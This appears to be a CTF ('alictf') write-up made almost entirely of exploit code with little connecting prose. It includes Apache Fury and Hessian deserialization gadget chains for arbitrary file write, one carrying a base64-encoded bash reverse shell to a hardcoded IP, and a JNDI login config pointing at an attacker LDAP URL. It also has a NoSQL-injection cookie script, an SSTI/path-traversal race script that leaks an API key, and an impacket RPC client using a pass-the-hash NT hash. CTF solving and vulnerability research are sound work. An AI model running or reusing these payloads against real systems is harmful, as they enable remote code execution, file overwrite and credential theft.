1
2
3
4
5

Fury fury = Fury.builder()
    .withLanguage(Language.JAVA)
    .requireClassRegistration(false)  // 允许反序列化未注册类
    .build();
Object obj = fury.deserialize(Base64.getDecoder().decode(input));

1
2
3
4
5

static void checkNotInDisallowedList(String clsName) {
    if (DEFAULT_DISALLOWED_LIST_SET.contains(clsName)) {
        throw new InsecureException(String.format("%s hit disallowed list", clsName));
    }
}

1
2
3
4
5
6
7
8
9

HashSet.readObject()
    HashMap.put()
        HashMap.hash()
            TiedMapEntry.hashCode()
                TiedMapEntry.getValue()
                    LazyMap.get()
                        SimpleCache$StorableCachingMap.put()
                            SimpleCache$StorableCachingMap.writeToPath()
                                FileOutputStream.write()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83

package reproduce;

import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantFactory;
import org.apache.commons.collections.functors.StringValueTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.fury.Fury;
import org.apache.fury.config.Language;

import java.io.FileOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class ExpAspectJ {

    public static void main(String[] args) throws Exception {
        // Goal: Arbitrary File Write
        // Chain:
        // PriorityQueue.readObject() -> heapify() -> comparator.compare()
        // comparator = TransformingComparator(StringValueTransformer)
        // transformer.transform(TiedMapEntry) -> TiedMapEntry.toString()
        // TiedMapEntry.toString() -> getValue() -> map.get(key)
        // map = LazyMap(StoreableCachingMap, ConstantFactory(bytes))
        // LazyMap.get(key) -> factory.create(key) -> bytes
        // LazyMap.put(key, bytes) -> StoreableCachingMap.put(key, bytes) -> write bytes to file 'key'
        byte[] content = Files.readAllBytes(Paths.get("dnsns.jar"));

        String filename = "../../../../../../../../../usr/local/openjdk-8/jre/lib/ext/dnsns.jar";
//        byte[] content = cronPayload.getBytes();

        // 1. Setup StoreableCachingMap (The Inner Map)
        // Ensure access to the class
        Class<?> scMapClass = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
        Constructor<?> constructor = scMapClass.getDeclaredConstructor(String.class, int.class);
        constructor.setAccessible(true);
        // folder = ".", maxEntries = 100
        Map storeableMap = (Map) constructor.newInstance(".", 100);

        // 2. Setup LazyMap with ConstantFactory
        ConstantFactory factory = new ConstantFactory(content);
        Map lazyMap = LazyMap.decorate(storeableMap, factory);

        // 3. Setup TiedMapEntry
        TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);

        // 4. Setup Comparator and Transformer
        // StringValueTransformer calls String.valueOf(obj) which calls obj.toString() (if not null)
        org.apache.commons.collections.Transformer transformer = StringValueTransformer.getInstance();
        TransformingComparator comparator = new TransformingComparator(transformer);

        // 5. Setup PriorityQueue
        PriorityQueue queue = new PriorityQueue(2, comparator);

        Field sizeField = PriorityQueue.class.getDeclaredField("size");
        sizeField.setAccessible(true);
        sizeField.set(queue, 2);

        Field queueField = PriorityQueue.class.getDeclaredField("queue");
        queueField.setAccessible(true);
        Object[] queueArray = new Object[2];
        queueArray[0] = entry;
        queueArray[1] = entry;
        queueField.set(queue, queueArray);

        // 6. Serialize with Fury
        System.out.println("Serializing AspectJ Chain with Fury...");
        Fury fury = Fury.builder().withLanguage(Language.JAVA).requireClassRegistration(false).build();
        byte[] serializedInfo = fury.serialize(queue);

        String b64 = Base64.getEncoder().encodeToString(serializedInfo);
        FileOutputStream fos = new FileOutputStream("payload_aj.b64");
        fos.write(b64.getBytes());
        fos.close();
        System.out.println("AspectJ Payload saved to payload_aj.b64");
    }
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13

PriorityQueue.readObject()
  → heapify()
  → siftDown()
  → comparator.compare(queue[0], queue[1])
  → TransformingComparator.compare()
  → StringValueTransformer.transform(TiedMapEntry)
  → String.valueOf(TiedMapEntry)
  → TiedMapEntry.toString()
  → TiedMapEntry.getValue()
  → LazyMap.get(key)
  → factory.create()                    [ConstantFactory 返回预设的 byte[]]
  → StoreableCachingMap.put(key, value)
  → 写入文件 key，内容为 value

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20

2026-02-02 13:51:14 [Loaded java.util.concurrent.ThreadPoolExecutor$AbortPolicy from /usr/local/openjdk-8/jre/lib/rt.jar]
2026-02-02 13:51:14 [Loaded java.util.concurrent.ThreadPoolExecutor$CallerRunsPolicy from /usr/local/openjdk-8/jre/lib/rt.jar]
2026-02-02 13:51:14 [Loaded java.util.concurrent.ThreadPoolExecutor$DiscardOldestPolicy from /usr/local/openjdk-8/jre/lib/rt.jar]
2026-02-02 13:51:14 [Loaded java.util.concurrent.ThreadPoolExecutor$DiscardPolicy from /usr/local/openjdk-8/jre/lib/rt.jar]
2026-02-02 13:51:14 [Loaded org.jboss.threads.JBossExecutors$3 from file:/app/app.jar]
2026-02-02 13:51:14 [Loaded org.jboss.threads.NullRunnable from file:/app/app.jar]
2026-02-02 13:51:14 [Loaded org.jboss.threads.JBossExecutors$5 from file:/app/app.jar]
2026-02-02 13:51:14 [Loaded java.lang.IllegalAccessError from /usr/local/openjdk-8/jre/lib/rt.jar]
2026-02-02 13:51:14 [Loaded org.jboss.threads.LoggingUncaughtExceptionHandler from file:/app/app.jar]
2026-02-02 13:51:14 [Loaded org.wildfly.common.cpu.ProcessorInfo from file:/app/app.jar]
2026-02-02 13:51:14 [Loaded sun.nio.cs.US_ASCII$Decoder from /usr/local/openjdk-8/jre/lib/rt.jar]
2026-02-02 13:51:14 [Loaded org.jboss.threads.Version from file:/app/app.jar]
2026-02-02 13:51:14 [Loaded org.jboss.threads.Messages from file:/app/app.jar]
2026-02-02 13:51:14 [Loaded org.jboss.threads.Messages_$logger from file:/app/app.jar]
2026-02-02 13:51:14 [Loaded org.jboss.threads.StoppedExecutorException from file:/app/app.jar]
2026-02-02 13:51:14 [Loaded org.jboss.threads.EnhancedQueueExecutor$MBeanUnregisterAction from file:/app/app.jar]
2026-02-02 13:51:14 [Loaded org.jboss.threads.EnhancedQueueExecutor$MXBeanImpl from file:/app/app.jar]
2026-02-02 13:51:14 [Loaded org.jboss.threads.Waiter from file:/app/app.jar]
2026-02-02 13:51:14 [Loaded java.util.concurrent.atomic.Striped64 from /usr/local/openjdk-8/jre/lib/rt.jar]
2026-02-02 13:51:14 [Loaded java.util.concurrent.atomic.LongAdder from /usr/local/openjdk-8/jre/lib/rt.jar]

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

package reproduce;

import org.apache.fury.Fury;
import org.apache.fury.config.Language;
import java.io.FileOutputStream;
import java.util.Base64;

public class ExpDNS {
    public static void main(String[] args) throws Exception {
        System.out.println("Generating payload to load sun.net.spi.nameservice.dns.DNSNameServiceDescriptor...");

        Fury fury = Fury.builder()
                .withLanguage(Language.JAVA)
                .requireClassRegistration(false)
                .build();

        // Load the class via reflection to avoid compilation errors if access is restricted
        Class<?> clazz = Class.forName("sun.net.spi.nameservice.dns.DNSNameServiceDescriptor");
        Object instance = clazz.newInstance();

        byte[] payload = fury.serialize(instance);
        String b64 = Base64.getEncoder().encodeToString(payload);

        try (FileOutputStream fos = new FileOutputStream("payload_dns.b64")) {
            fos.write(b64.getBytes());
        }

        System.out.println("Payload saved to payload_dns.b64");
        System.out.println("Payload Base64: " + b64);
    }
}

1
2
3

// Web.java
String url = exchange.getRequestHeaders().getFirst("X-Lookup-URL");
new InitialContext().lookup(url);

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22

// HessianProxyFactory.java
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
    Reference ref = (Reference)obj;
    String api = null;
    String url = null;

    for (int i = 0; i < ref.size(); i++) {
        RefAddr addr = ref.get(i);
        String type = addr.getType();
        String value = (String)addr.getContent();
        // 提取 Reference 中的配置
        if (type.equals("type")) {
            api = value; // 代理接口类型
        } else if (type.equals("url")) {
            url = value; // 目标 URL
        }
        // ... user, password ...
    }
    // 创建 Hessian 代理
    Class apiClass = Class.forName(api, false, this._loader);
    return this.create(apiClass, url);
}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90

package org.example;

import com.caucho.hessian.io.Hessian2Output;
import com.caucho.hessian.io.SerializerFactory;
import com.databricks.client.jdbc.internal.fasterxml.jackson.databind.node.POJONode;

import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.LinkedHashMap;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.atomic.AtomicReference;

import static common.Reflections.newInstanceWithoutConstructor;
import static common.Reflections.setFieldValue;
import static common.Util.makeMap;
import static java.lang.reflect.AccessibleObject.setAccessible;

public class ExploitGenerator {

    // 目标文件路径
//    private static final String cmd = ";touch /tmp/pwnnnnn";
    private static final String cmd = "; echo YmFzaCAtaSA+JiAvZGV2L3RjcC8yMjMuMTA5LjQ5LjUxLzk5OTkgMD4mMQ== | base64 -d | bash; echo";

    public static void main(String[] args) throws Exception {

        Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
        Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
        unsafeField.setAccessible(true);
        Object unsafe = unsafeField.get(null);
        Method allocateInstance = unsafeClass.getMethod("allocateInstance", Class.class);

        // 3. 实例化 UnixPrintService (替换之前的 Proxy)
        // 这个类在 PrintServiceLookupProvider 中被广泛使用，是合法的 PrintService 实现
        Class<?> unixPrintServiceClass = Class.forName("sun.print.UnixPrintService");
        Object service = allocateInstance.invoke(unsafe, unixPrintServiceClass);

        setFieldValue(service, "printer", cmd);
        setFieldValue(service, "isInvalid", false);
        setFieldValue(service, "lpcStatusCom", new String[]{"", "", "", ""});

        POJONode pojoNode = new POJONode(service);

//
        // ---------------------------------------------------------
        // 5. Hessian2 序列化 (关键修复部分)
        // ---------------------------------------------------------
        byte[] payload = Hessian2_serialize(pojoNode);

        // 6. 输出 Base64
        String base64Payload = Base64.getEncoder().encodeToString(payload);
        System.out.println("----- Payload (Base64) -----");
        System.out.println(base64Payload);
        System.out.println("----------------------------");
    }

    public static byte[] Hessian2_serialize(Object o) throws IOException {
        SerializerFactory factory = new SerializerFactory();
        factory.setAllowNonSerializable(true);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(baos);
        baos.write('H');  // Hessian 2.0 call header
        baos.write(0x02); // major version
        baos.write(0x00); // minor version
        baos.write('R');  // Reply marker
        baos.write(67);
        hessian2Output.setSerializerFactory(factory);
        hessian2Output.writeObject(o);
        hessian2Output.flush();
        return baos.toByteArray();
    }

    public static void setAccessible(AccessibleObject member) {
        String versionStr = System.getProperty("java.version");
        int javaVersion = Integer.parseInt(versionStr.split("\\.")[0]);

        // not possible to quiet runtime warnings anymore...
        // see https://bugs.openjdk.java.net/browse/JDK-8210522
        // to understand impact on Permit (i.e. it does not work
        // anymore with Java >= 12)
        member.setAccessible(true);
    }

}

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104

LookupRef ref = new LookupRef("java.lang.String","look");
ref.add(new StringRefAddr("factory", "com.caucho.hessian.client.HessianProxyFactory"));
//com.caucho.burlap.client.BurlapProxyFactory
ref.add(new StringRefAddr("type", "java.lang.AutoCloseable"));
ref.add(new StringRefAddr("url", "http://127.0.0.1:6666/"));
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
        Hashtable<?, ?> environment) throws Exception {

    String lookupName = null;
    Object result = null;

    if (obj instanceof LookupRef) {
        Reference ref = (Reference) obj;
        ObjectFactory factory = null;
        RefAddr lookupNameRefAddr = ref.get(LookupRef.LOOKUP_NAME);
        if (lookupNameRefAddr != null) {
            lookupName = lookupNameRefAddr.getContent().toString();
        }

        try {
            if (lookupName != null) {
                if (!names.get().add(lookupName)) {
                    String msg = sm.getString("lookupFactory.circularReference", lookupName);
                    NamingException ne = new NamingException(msg);
                    log.warn(msg, ne);
                    throw ne;
                }
            }
            RefAddr factoryRefAddr = ref.get(Constants.FACTORY);
            if (factoryRefAddr != null) {
                // Using the specified factory
                String factoryClassName = factoryRefAddr.getContent().toString();
                // Loading factory
                ClassLoader tcl = Thread.currentThread().getContextClassLoader();
                Class<?> factoryClass = null;
                if (tcl != null) {
                    try {
                        factoryClass = tcl.loadClass(factoryClassName);
                    } catch (ClassNotFoundException e) {
                        NamingException ex = new NamingException(
                                sm.getString("lookupFactory.loadFailed"));
                        ex.initCause(e);
                        throw ex;
                    }
                } else {
                    try {
                        factoryClass = Class.forName(factoryClassName);
                    } catch (ClassNotFoundException e) {
                        NamingException ex = new NamingException(
                                sm.getString("lookupFactory.loadFailed"));
                        ex.initCause(e);
                        throw ex;
                    }
                }
                if (factoryClass != null) {
                    try {
                        factory = (ObjectFactory) factoryClass.getConstructor().newInstance();
                    } catch (Throwable t) {
                        if (t instanceof NamingException)
                            throw (NamingException) t;
                        NamingException ex = new NamingException(
                                sm.getString("lookupFactory.createFailed"));
                        ex.initCause(t);
                        throw ex;
                    }
                }
            }
            // Note: No defaults here
            if (factory != null) {
                result = factory.getObjectInstance(obj, name, nameCtx, environment);
            } else {
                if (lookupName == null) {
                    throw new NamingException(sm.getString("lookupFactory.createFailed"));
                } else {
                    result = new InitialContext().lookup(lookupName);
                }
            }

            Class<?> clazz = Class.forName(ref.getClassName());
            if (result != null && !clazz.isAssignableFrom(result.getClass())) {
                String msg = sm.getString("lookupFactory.typeMismatch",
                        name, ref.getClassName(), lookupName, result.getClass().getName());
                NamingException ne = new NamingException(msg);
                log.warn(msg, ne);
                // Close the resource we no longer need if we know how to do so
                if (isInstance(result.getClass(), "java.lang.AutoCloseable")) {
                    try {
                        Method m = result.getClass().getMethod("close");
                        m.invoke(result);
                    } catch (Exception e) {
                        // Ignore
                    }
                }
                throw ne;
            }
        } finally {
            names.get().remove(lookupName);
        }
    }


    return result;
}

1
2
3
4
5
6

Client {
   com.sun.security.auth.module.JndiLoginModule required
   user.provider.url="ldap://attacker:1389/Hessian/Exploit"
   group.provider.url="test"
   tryFirstPass="true";
};

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18

import requests

target = "http://223.6.249.127:12106"

# 第一步：唤醒 Bot 登录，产生 Admin Session
print("[*] Waking up the bot...")
requests.post(f"{target}/visit", json={"url": "http://example.com"})

# 第二步：使用 NoSQL 注入 Cookie 劫持 Admin 权限
print("[*] Exploiting NoSQL Injection...")
cookies = {
    # 'j:' 前缀触发 cookie-parser 的 JSON 解析逻辑
    "sid": 'j:{"$ne": "null"}'
}

res = requests.get(f"{target}/admin", cookies=cookies)
print("[+] Server Response:")
print(res.text)

1

alictf{0c6b7a19-8a74-4129-8dc8-913e98cad823}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51

import requests
import threading
import time
import socket

TARGET_IP = "223.6.249.127"
TARGET_PORT = "34696"
BASE_URL = f"http://{TARGET_IP}:{TARGET_PORT}"
API_KEY = "911ec63d10f2bd607080ca3ff396a647699de5159e13f99c615e03fd9aa2a806"

def trigger_upload():
    print("[*] Starting large upload to /heartbeat...")
    # Payload: list root directory
    ssti = "{{ config.class.init.globals['os'].listdir('/') }}"
    padding = "A" * (600000) # 600KB padding to ensure it goes to disk
    payload = ssti + padding

    try:
        # We use a long timeout to keep the connection open as long as possible
        r = requests.post(f"{BASE_URL}/heartbeat", data={"text": payload}, timeout=30)
        print(f"[] Upload finished with status {r.status_code}")
    except Exception as e:
        print(f"[] Upload error (expected if we block): {e}")

def brute_fd_ssti():
    time.sleep(2) # Wait for upload to start and potentially hit /action
    print("[*] Starting FD brute force on /admin...")
    headers = {"Authorization": API_KEY}

    for fd in range(4, 25):
        try:
            # We hit /admin which will read the FD
            # If the FD is the temp file, it will render our SSTI
            params = {"tmpl": f"../../../../proc/self/fd/{fd}"}
            r = requests.get(f"{BASE_URL}/admin", headers=headers, params=params, timeout=2)
            if r.status_code == 200 and "['" in r.text and "flag" in r.text:
                print(f"\n[!!!] SUCCESS! Found listing on FD {fd}:")
                print(r.text)
                return True
            elif r.status_code == 200:
                print(f"FD {fd} returned 200 but no flag listing. Snippet: {r.text[:50]}")
        except:
            pass
    return False

Run upload in background
t = threading.Thread(target=trigger_upload)
t.start()

Brute force FDs
brute_fd_ssti()

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112

import requests
import threading
import time
import re

# --- Configuration ---
TARGET_URL = "http://223.6.249.127:34696"

def leak_api_key():
    print("[*] Stage 1: Leaking API_KEY via Format String & Boundary Injection...")
    
    # Payload to leak the API_KEY variable from app's global scope
    # index is the view function name, which is 'action' or 'heartbeat' in this context
    payload_str = "{0.view_functions[index].__globals__[API_KEY]}"
    
    MY_BOUNDARY = "AaB03x"
    # We inject a fake multipart body inside the 'text' field to override the 'action' part
    inner_payload = (
        f"{payload_str}\r\n"
        f"--{MY_BOUNDARY}\r\n"
        'Content-Disposition: form-data; name="action"; filename="action.json"\r\n\r\n'
        '{"type": "debug"}\r\n'
        f"--{MY_BOUNDARY}--\r\n"
    )
    
    data = {
        "client": "content-type", # Header Injection: Control Content-Type
        "token": f"multipart/form-data; boundary={MY_BOUNDARY}", # Set our custom boundary
        "text": inner_payload
    }
    
    try:
        r = requests.post(f"{TARGET_URL}/heartbeat", data=data)
        if r.status_code == 200:
            # The API_KEY is a 64-char hex string (os.urandom(32).hex())
            match = re.search(r"([a-f0-9]{64})", r.text)
            if match:
                api_key = match.group(1)
                print(f"[+] Found API_KEY: {api_key}")
                return api_key
    except Exception as e:
        print(f"[-] Error leaking API_KEY: {e}")
    return None

def find_flag_filename(api_key):
    print("[*] Stage 2: Finding Flag filename via LFI -> SSTI Race Condition...")
    
    ssti_payload = "{{ config.__class__.__init__.__globals__['os'].listdir('/') }}"
    stop_event = threading.Event()

    def spammer():
        while not stop_event.is_set():
            try:
                # Keep sending the SSTI payload to fill socket buffers
                requests.get(f"{TARGET_URL}/heartbeat", params={"text": ssti_payload}, timeout=1)
            except: pass

    # Start background spammers
    threads = []
    for _ in range(8):
        t = threading.Thread(target=spammer)
        t.daemon = True
        t.start()
        threads.append(t)

    headers = {"Authorization": api_key}
    flag_file = None

    print("[*] Hunting for payload in /proc/self/fd/...")
    start_time = time.time()
    while time.time() - start_time < 60: # 1 minute timeout
        for fd in range(4, 15):
            try:
                # LFI into the procfs FD to read our own incoming request and render it as a template
                r = requests.get(f"{TARGET_URL}/admin", headers=headers, params={"tmpl": f"../../../../proc/self/fd/{fd}"}, timeout=1)
                if r.status_code == 200 and "['app.py'" in r.text:
                    # Look for the random flag filename
                    match = re.search(r"flag-[a-f0-9]{32}\.txt", r.text)
                    if match:
                        flag_file = match.group(0)
                        print(f"[+] Found flag file: {flag_file}")
                        stop_event.set()
                        return flag_file
            except: pass
        time.sleep(0.1)
    
    stop_event.set()
    return None

def read_flag(api_key, filename):
    print(f"[*] Stage 3: Reading {filename}...")
    headers = {"Authorization": api_key}
    try:
        # Simple LFI to read the flag
        r = requests.get(f"{TARGET_URL}/admin", headers=headers, params={"tmpl": f"../../../../{filename}"})
        if r.status_code == 200:
            print(f"\n[!!!] FLAG: {r.text.strip()}")
            return True
    except Exception as e:
        print(f"[-] Error: {e}")
    return False

if __name__ == "__main__":
    key = leak_api_key()
    if key:
        flag_file = find_flag_filename(key)
        if flag_file:
            read_flag(key, flag_file)
        else:
            print("[-] Failed to find flag filename. The race might be tough.")
    else:
        print("[-] Failed to leak API_KEY.")

1

alictf{301e7a69-1262-4955-abe7-c8a120bd2093}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82

逆向 RPC 分析过程

  1. 快速确认是 RPC 服务

  - 在 imports 里看到 RPCRT4.dll，大量 RpcServer* / NdrServerCall* 函数。
  - 在 strings 里能搜到 ncacn_ip_tcp、RpcServerRegisterIf2 等关键字。
    → 确认为 RPC over TCP。

  2. 定位启动函数与端口

  - 在 IDA 里找 RpcServerUseProtseqEpW 调用点，对应函数名 StartRPCServer。
  - 函数里写死端口列表：69128, 62831, 67540, 60325, 63588，按顺序尝试，成功即监听。
  - 输出日志里打印 [Server] Using port %d，用于验证逻辑。

  3. 认证/授权逻辑

  - RpcServerRegisterIf2(..., AuthorizationFunc) 表示注册了授权回调。
  - AuthorizationFunc → IsClientInBackupAdminGroup。
  - 在 IsClientInBackupAdminGroup 里看到 ConvertStringSidToSidW("S-1-5-21-...-1624")
    → 组 SID 被硬编码（必须是该组成员）。
  - 还会 RpcImpersonateClient + OpenThreadToken + TokenGroups + EqualSid 做组验证。

  4. RPC 通信加密强制

  - CheckClientSecurityLevel 调用 RpcBindingInqAuthClientW，判断 authLevel >= 6
    也就是 RPC_C_AUTHN_LEVEL_PKT_PRIVACY。
    → 必须开启签名+加密。

  5. 用 PDB 还原接口结构

  - 用 llvm-pdbutil dump --globals 找到：
      - FileTransfer___RpcServerInterface
      - FileTransfer_v1_0_DispatchTable
      - FileTransfer_ServerRoutineTable
  - 通过 PDB 给出的地址，去 .rdata 里解析 _RPC_SERVER_INTERFACE 结构。
    解析方式：

    file_offset = section_file_offset + (VA - image_base - section_VA)
  - 从 _RPC_SERVER_INTERFACE 解析到接口 UUID：
    62e00289-44bd-497b-b85f-bc340fbcc2b0 版本 1.0

  6. 还原 opnum -> 函数映射

  - FileTransfer_ServerRoutineTable 是函数指针表。
  - 读到的顺序即为 opnum：
    0. OpenRemoteFile
      1. ReadFileData
      2. CloseFileHandle
      3. GetFileInfo
      4. ListDirectory
      5. ShutdownServer

  7. 解析 MIDL 参数/返回结构

  - PDB 中还有 FileTransfer__MIDL_ProcFormatString 和 FileTransfer_FormatStringOffsetTable。
  - 通过偏移表（0x0, 0x3c, 0x84, 0xa8, 0xde, 0x120）定位每个 op 的 NDR 格式。
  - 结合返回包实际长度，确认 OpenRemoteFile 的 out 参数是按值返回而不是指针。
    返回结构实际布局：

    [20 bytes ctx_handle]
    [4 bytes padding]
    [8 bytes fileSize]
    [4 bytes error]
    [1 byte return]

  8. XOR 加密逻辑

  - ReadFileData 中明确调用 XOREncryptDecrypt。
  - PDB 可定位 XOR_KEY 全局变量地址，从 .rdata 直接取 16 字节密钥：
    2a7fc3915e348b19d267f428ab76439d

  ———

  总结要点（RPC 逆向得到的核心结论）

  - 协议：ncacn_ip_tcp
  - 端口优先级：69128 → 62831 → 67540 → 60325 → 63588
  - 接口 UUID：62e00289-44bd-497b-b85f-bc340fbcc2b0 v1.0
  - 必须 PKT_PRIVACY 认证
  - 组成员 SID 必须为 ...-1624
  - opnum 映射固定 0~5
  - ReadFileData 返回数据需要 XOR 解密

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20

RPC 服务
协议：ncacn_ip_tcp
端口选择顺序：
    69128 → 62831 → 67540 → 60325 → 63588
接口 UUID：
    62e00289-44bd-497b-b85f-bc340fbcc2b0 v1.0
调用必须：
    PKT_PRIVACY（RPC_AUTHN_LEVEL_PKT_PRIVACY）
    组成员校验：硬编码 SID
    S-1-5-21-3223156632-3195994233-1317593892-1624
RPC 方法（opnum）
    OpenRemoteFile
    ReadFileData
    CloseFileHandle
    GetFileInfo
    ListDirectory
    ShutdownServer
加密
  ReadFileData 会对文件内容 XOR 加密：
  XOR Key => 2a7fc3915e348b19d267f428ab76439d

1
2
3

SAM Username         : Server Backup Operators
Object Security ID   : S-1-5-21-3223156632-3195994233-1317593892-1624
Object Relative ID   : 1624

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81

from impacket.dcerpc.v5 import transport, rpcrt
import struct

TARGET="116.62.114.4"
PORT=62831
DOMAIN="corp.local"
USER="svc_dbbackup"
NTHASH="eb2c652c8e8bfeed348d66ffa98be0d1"

KEY = bytes.fromhex('2a7fc3915e348b19d267f428ab76439d')

def xor_dec(data):
    return bytes(b ^ KEY[i % 16] for i, b in enumerate(data))

def ndr_wstring_ref(s):
    w = s.encode("utf-16-le") + b"\x00\x00"
    n = len(w)//2
    stub = struct.pack("<III", n, 0, n) + w
    if len(stub) % 4:
        stub += b"\x00"*(4-len(stub)%4)
    return stub

def open_file(dce, path):
    dce.call(0, ndr_wstring_ref(path))
    resp = dce.recv()

    ctx = resp[:20]  # context handle
    # align to 8
    fsize = struct.unpack_from("<Q", resp, 24)[0]
    err   = struct.unpack_from("<I", resp, 32)[0]
    ret   = resp[36] if len(resp) > 36 else None
    return ctx, fsize, err, ret

def read_file(dce, ctx, offset, size):
    stub = ctx + struct.pack("<II", offset, size)
    dce.call(1, stub)
    resp = dce.recv()

    # 尝试按「无指针 + conformant array」解析
    off = 0
    maxc, offc, act = struct.unpack_from("<III", resp, off); off += 12
    buf = resp[off:off+act]; off += act
    if off % 4:
        off += (4 - off % 4)

    bytes_read = struct.unpack_from("<I", resp, off)[0]; off += 4
    err = struct.unpack_from("<I", resp, off)[0]; off += 4
    ret = resp[off] if off < len(resp) else None
    return buf, bytes_read, err, ret, resp

def main():
    t = transport.DCERPCTransportFactory(f"ncacn_ip_tcp:{TARGET}[{PORT}]")
    t.set_credentials(USER, '', DOMAIN, lmhash='', nthash=NTHASH)
    dce = t.get_dce_rpc()
    dce.set_auth_type(rpcrt.RPC_C_AUTHN_WINNT)
    dce.set_auth_level(rpcrt.RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
    dce.connect()
    dce.bind(b'\x89\x02\xe0\x62\xbd\x44\x7b\x49\xb8\x5f\xbc\x34\x0f\xbc\xc2\xb0\x01\x00\x00\x00')

    ctx, fsize, err, ret = open_file(dce, r"C:\\Users\\Administrator\\Desktop\\flag.txt")
    print("Open:", "fsize=", fsize, "err=", err, "ret=", ret)

    if err != 0 or ret == 0:
        print("Open failed")
        return

    data = b""
    offset = 0
    toread = min(0x400, fsize)

    buf, n, err, ret, raw = read_file(dce, ctx, offset, toread)
    print("Read:", "bytes=", n, "err=", err, "ret=", ret)
    if n == 0:
        print("raw resp:", raw.hex())
        return

    data += buf[:n]
    print(xor_dec(data).decode(errors='ignore'))

if __name__ == "__main__":
    main()

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
